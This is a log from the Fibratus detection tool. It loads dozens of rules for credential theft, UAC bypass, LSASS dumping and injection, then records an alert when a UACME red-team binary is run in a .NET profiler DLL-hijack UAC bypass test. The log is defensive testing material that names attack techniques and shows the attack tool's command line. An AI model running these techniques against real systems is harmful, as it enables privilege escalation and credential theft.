+time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:25:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T01:25:12+01:00 level=info msg=bootstrapping with pid 8668. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:25:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-vamap=>true max-buffers=>36 enable-fileio=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true buffer-size=>512 flush-interval=>1s enable-dns=>false enable-threadpool=>false enable-thread=>true min-buffers=>16 enable-registry=>true enable-audit-api=>true enable-handle=>false stack-enrichment=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ amqp=>[ routing-key=>fibratus vhost=>/ delivery-mode=>transient durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s passive=>false exchange=>fibratus enabled=>false] elasticsearch=>[ gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] flush-period=>1s sniff=>false template-name=>fibratus timeout=>5s enabled=>false] http=>[ enable-gzip=>false method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false fastscan=>true enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:25:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:25:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:25:31+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler MMC DLL Hijack]. Text: Event(s): + Seq: 3978099 + Pid: 5280 + Tid: 15132 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-23 01:25:17.950844 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN_IF, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff998c43e4dd80, file_path➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, irp➜ ffff998c3cad40f8, share_mask➜ , status➜ Success, tid➜ 15132, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack + + Pid: 5280 + Ppid: 10760 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL 